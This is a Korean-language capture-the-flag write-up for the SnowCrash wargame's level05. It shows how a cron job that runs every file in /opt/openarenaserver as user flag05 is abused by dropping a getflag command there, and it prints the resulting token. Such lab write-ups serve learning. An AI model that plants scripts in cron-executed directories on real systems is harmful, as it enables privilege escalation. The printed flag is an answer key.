## level05

# 풀이과정

## 겪었던 어려움

### 풀이과정

#### find

user 옵션과 name옵션을 이용해서 flag와 level에 관련된 내용을 찾아보는데 각각 아래의 명령어 두개를 사용했다.

```
find / -user flag05 , find / -name level05
```

그럼 /var/mail/level05 , /usr/sbin/openarenaserver 와 같은 경로가 나오게 된다.

#### crontab

/usr/sbin/openarenaserver 은 쉘 명령어가 있고, /var/mail/level05 에는 crontab 내용이 있다.

```
#!/bin/sh

for i in /opt/openarenaserver/* ; do
    (ulimit -t 5; bash -x "$i")
    rm -f "$i"

done

*/2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05
```

level05

echo "getflag > [기록하고자 하는 경로]" > /opt/openarenaserver/<아무내용> 를 통해서 getflag 명령어를 실행하게 만들고 crontab 내용에 따라서 sleep 2m && cat [기록하고자 하는 경로] 을 실행시켜 2분 뒤에 flag값을 받을 수 있다.

### 정답

```
level05@SnowCrash:~$ echo "getflag > /tmp/flag05" > /opt/openarenaserver/script + echo 'getflag > /tmp/flag05' | level05@SnowCrash:~$ sleep 2m && cat /tmp/flag05 | sleep 2m + cat /tmp/flag05 | check flag.Here is your token : viuaaale9huek52boumoomioc | level05@SnowCrash:~$
```

"viuaaale9huek52boumoomioc"

## 출처

#### [LINUX] 📚 find 명령어 정복하기 [파일 검색]

파일/디렉토리 검색 find는 리눅스에서 파일 및 디렉토리를 검색할 때 사용하는 명령어다. \$ find [경로] [옵션] [표현식] \$ find [PATH] [OPTION] [EXPRESSION] find 명령에는 몇 가지 옵션과 많은 수의 표현식(Expression)이 존재하는데, find 명령의 검색 결과가 지정된 표현식의 조합에





#### 리눅스 크론탭(Linux Crontab) 사용법 :: JDM's Blog

그러면 뭔가 편집할 수 있는 곳이 로딩됩니다. 이곳이 바로 크론탭을 설정할 수 있는 장소이죠. 여기에 각종 크론탭 명령어를 입력후 콜론(:) 입력 후에 wq를 입력해 크론탭을 갱신시킵시다.

https://jdm.kr/blog/2



level05